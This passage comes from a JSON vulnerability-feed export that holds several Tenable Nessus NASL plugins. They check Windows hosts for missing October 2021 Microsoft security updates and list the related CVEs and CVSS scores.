Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154035);\n script_version(\"1.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/09\");\n\n script_cve_id(\n \"CVE-2021-26442\",\n \"CVE-2021-36953\",\n \"CVE-2021-36970\",\n \"CVE-2021-38662\",\n \"CVE-2021-38663\",\n \"CVE-2021-40443\",\n \"CVE-2021-40449\",\n \"CVE-2021-40455\",\n \"CVE-2021-40460\",\n \"CVE-2021-40465\",\n \"CVE-2021-40466\",\n \"CVE-2021-40467\",\n \"CVE-2021-40469\",\n \"CVE-2021-40489\",\n \"CVE-2021-41331\",\n \"CVE-2021-41332\",\n \"CVE-2021-41335\",\n \"CVE-2021-41340\",\n \"CVE-2021-41343\"\n );\n script_xref(name:\"IAVA\", value:\"2021-A-0472-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0475-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"MSKB\", value:\"5006728\");\n script_xref(name:\"MSKB\", value:\"5006743\");\n script_xref(name:\"MSFT\", value:\"MS21-5006728\");\n script_xref(name:\"MSFT\", value:\"MS21-5006743\");\n\n script_name(english:\"KB5006728: Windows 7 and Windows Server 2008 R2 Security Update (October 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5006728. It is, therefore, affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Update 5006728 or apply Cumulative Update 5006743\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-41335\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-41340\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Win32k NtGdiResetDC Use After Free Local Privilege Elevation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-10';\nkbs = make_list(\n '5006728',\n '5006743'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win7:'1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.1',\n sp:1,\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006728, 5006743])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:57:16", "description": "The remote Windows host is missing security update 5006729. It is, therefore, affected by multiple vulnerabilities.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-12T00:00:00", "type": "nessus", "title": "KB5006729: Windows Server 2012 R2 Security Update (October 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26441", "CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40454", "CVE-2021-40455", "CVE-2021-40460", "CVE-2021-40463", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40469", "CVE-2021-40476", "CVE-2021-40477", "CVE-2021-40478", "CVE-2021-40488", "CVE-2021-40489", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41335", "CVE-2021-41340", "CVE-2021-41343", "CVE-2021-41345"], "modified": "2022-01-26T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_OCT_5006729.NASL", "href": "https://www.tenable.com/plugins/nessus/154040", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154040);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/01/26\");\n\n script_cve_id(\n \"CVE-2021-26441\",\n \"CVE-2021-26442\",\n \"CVE-2021-36953\",\n \"CVE-2021-36970\",\n \"CVE-2021-38662\",\n \"CVE-2021-38663\",\n \"CVE-2021-40443\",\n \"CVE-2021-40449\",\n \"CVE-2021-40454\",\n \"CVE-2021-40455\",\n \"CVE-2021-40460\",\n \"CVE-2021-40463\",\n \"CVE-2021-40465\",\n \"CVE-2021-40466\",\n \"CVE-2021-40467\",\n \"CVE-2021-40469\",\n \"CVE-2021-40476\",\n \"CVE-2021-40477\",\n \"CVE-2021-40478\",\n \"CVE-2021-40488\",\n \"CVE-2021-40489\",\n \"CVE-2021-41331\",\n \"CVE-2021-41332\",\n \"CVE-2021-41335\",\n \"CVE-2021-41340\",\n \"CVE-2021-41343\",\n \"CVE-2021-41345\"\n );\n script_xref(name:\"IAVA\", value:\"2021-A-0472-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0475-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"MSKB\", value:\"5006714\");\n script_xref(name:\"MSKB\", value:\"5006729\");\n script_xref(name:\"MSFT\", value:\"MS21-5006714\");\n script_xref(name:\"MSFT\", value:\"MS21-5006729\");\n\n script_name(english:\"KB5006729: Windows Server 2012 R2 Security Update (October 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5006729. It is, therefore, affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Update 5006729 or apply Cumulative Update 5006714\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-41345\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Win32k NtGdiResetDC Use After Free Local Privilege Elevation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-10';\nkbs = make_list(\n '5006714',\n '5006729'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win81:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.3',\n sp:0,\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006714, 5006729])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:57:17", "description": "The remote Windows host is missing security update 5006732. It is, therefore, affected by multiple vulnerabilities.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-12T00:00:00", "type": "nessus", "title": "KB5006732: Windows Server 2012 Security Update (October 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26441", "CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40454", "CVE-2021-40455", "CVE-2021-40460", "CVE-2021-40463", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40469", "CVE-2021-40476", "CVE-2021-40477", "CVE-2021-40478", "CVE-2021-40488", "CVE-2021-40489", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41335", "CVE-2021-41340", "CVE-2021-41343", "CVE-2021-41345"], "modified": "2022-01-26T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_OCT_5006732.NASL", "href": "https://www.tenable.com/plugins/nessus/154036", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154036);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/01/26\");\n\n script_cve_id(\n \"CVE-2021-26441\",\n \"CVE-2021-26442\",\n \"CVE-2021-36953\",\n \"CVE-2021-36970\",\n \"CVE-2021-38662\",\n \"CVE-2021-38663\",\n \"CVE-2021-40443\",\n \"CVE-2021-40449\",\n \"CVE-2021-40454\",\n \"CVE-2021-40455\",\n \"CVE-2021-40460\",\n \"CVE-2021-40463\",\n \"CVE-2021-40465\",\n \"CVE-2021-40466\",\n \"CVE-2021-40467\",\n \"CVE-2021-40469\",\n \"CVE-2021-40476\",\n \"CVE-2021-40477\",\n \"CVE-2021-40478\",\n \"CVE-2021-40488\",\n \"CVE-2021-40489\",\n \"CVE-2021-41331\",\n \"CVE-2021-41332\",\n \"CVE-2021-41335\",\n \"CVE-2021-41340\",\n \"CVE-2021-41343\",\n \"CVE-2021-41345\"\n );\n script_xref(name:\"IAVA\", value:\"2021-A-0472-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0475-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"MSKB\", value:\"5006732\");\n script_xref(name:\"MSKB\", value:\"5006739\");\n script_xref(name:\"MSFT\", value:\"MS21-5006732\");\n script_xref(name:\"MSFT\", value:\"MS21-5006739\");\n\n script_name(english:\"KB5006732: Windows Server 2012 Security Update (October 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5006732. It is, therefore, affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Update 5006732 or apply Cumulative Update 5006739\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-41345\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Win32k NtGdiResetDC Use After Free Local Privilege Elevation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-10';\nkbs = make_list(\n '5006739',\n '5006732'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win8:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.2',\n sp:0,\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006739, 5006732])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:56:42", "description": "The remote Windows host is missing security update 5006669.\nIt is, therefore, affected by multiple vulnerabilities:\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-36953, CVE-2021-40463)\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-26441, CVE-2021-26442, CVE-2021-40443, CVE-2021-40449, CVE-2021-40466, CVE-2021-40467, CVE-2021-40470, CVE-2021-40476, CVE-2021-40477, CVE-2021-40478, CVE-2021-40488, CVE-2021-40489, CVE-2021-41335, CVE-2021-41345, CVE-2021-41347)\n\n - A session spoofing vulnerability exists. An attacker can exploit this to perform actions with the privileges of another user. (CVE-2021-36970, CVE-2021-40455, CVE-2021-41361)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-40465, CVE-2021-40469, CVE-2021-41331, CVE-2021-41340, CVE-2021-41342)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-38662, CVE-2021-38663, CVE-2021-40454, CVE-2021-41332, CVE-2021-41343)\n\n - A security feature bypass vulnerability exists. An attacker can exploit this and bypass the security feature and perform unauthorized actions compromising the integrity of the system/application.\n (CVE-2021-40460, CVE-2021-41337, CVE-2021-41338)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-12T00:00:00", "type": "nessus", "title": "KB5006669: Windows 10 Version 1607 and Windows Server 2016 Security Update (October 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26441", "CVE-2021-26442", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40454", "CVE-2021-40455", "CVE-2021-40460", "CVE-2021-40463", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40469", "CVE-2021-40470", "CVE-2021-40476", "CVE-2021-40477", "CVE-2021-40478", "CVE-2021-40488", "CVE-2021-40489", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41335", "CVE-2021-41337", "CVE-2021-41338", "CVE-2021-41340", "CVE-2021-41342", "CVE-2021-41343", "CVE-2021-41345", "CVE-2021-41347", "CVE-2021-41361"], "modified": "2022-05-09T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_OCT_5006669.NASL", "href": "https://www.tenable.com/plugins/nessus/154034", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154034);\n script_version(\"1.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/09\");\n\n script_cve_id(\n \"CVE-2021-26441\",\n \"CVE-2021-26442\",\n \"CVE-2021-36953\",\n \"CVE-2021-36970\",\n \"CVE-2021-38662\",\n \"CVE-2021-38663\",\n \"CVE-2021-40443\",\n \"CVE-2021-40449\",\n \"CVE-2021-40454\",\n \"CVE-2021-40455\",\n \"CVE-2021-40460\",\n \"CVE-2021-40463\",\n \"CVE-2021-40465\",\n \"CVE-2021-40466\",\n \"CVE-2021-40467\",\n \"CVE-2021-40469\",\n \"CVE-2021-40470\",\n \"CVE-2021-40476\",\n \"CVE-2021-40477\",\n \"CVE-2021-40478\",\n \"CVE-2021-40488\",\n \"CVE-2021-40489\",\n \"CVE-2021-41331\",\n \"CVE-2021-41332\",\n \"CVE-2021-41335\",\n \"CVE-2021-41337\",\n \"CVE-2021-41338\",\n \"CVE-2021-41340\",\n \"CVE-2021-41342\",\n \"CVE-2021-41343\",\n \"CVE-2021-41345\",\n \"CVE-2021-41347\",\n \"CVE-2021-41361\"\n );\n script_xref(name:\"IAVA\", value:\"2021-A-0472-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0475-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/12/01\");\n script_xref(name:\"MSKB\", value:\"5006669\");\n script_xref(name:\"MSFT\", value:\"MS21-5006669\");\n\n script_name(english:\"KB5006669: Windows 10 Version 1607 and Windows Server 2016 Security Update (October 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5006669.\nIt is, therefore, affected by multiple vulnerabilities:\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-36953,\n CVE-2021-40463)\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-26441, CVE-2021-26442, CVE-2021-40443,\n CVE-2021-40449, CVE-2021-40466, CVE-2021-40467,\n CVE-2021-40470, CVE-2021-40476, CVE-2021-40477,\n CVE-2021-40478, CVE-2021-40488, CVE-2021-40489,\n CVE-2021-41335, CVE-2021-41345, CVE-2021-41347)\n\n - A session spoofing vulnerability exists. An attacker can\n exploit this to perform actions with the privileges of\n another user. (CVE-2021-36970, CVE-2021-40455,\n CVE-2021-41361)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-40465,\n CVE-2021-40469, CVE-2021-41331, CVE-2021-41340,\n CVE-2021-41342)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-38662, CVE-2021-38663,\n CVE-2021-40454, CVE-2021-41332, CVE-2021-41343)\n\n - A security feature bypass vulnerability exists. An\n attacker can exploit this and bypass the security\n feature and perform unauthorized actions compromising\n the integrity of the system/application.\n (CVE-2021-40460, CVE-2021-41337, CVE-2021-41338)\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Update 5006669\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-41345\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-41342\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Win32k NtGdiResetDC Use After Free Local Privilege Elevation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-10';\nkbs = make_list(\n '5006669'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10',\n os_build:14393,\n rollup_date:'10_2021',\n bulletin:bulletin,\n rollup_kb_list:[5006669])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": 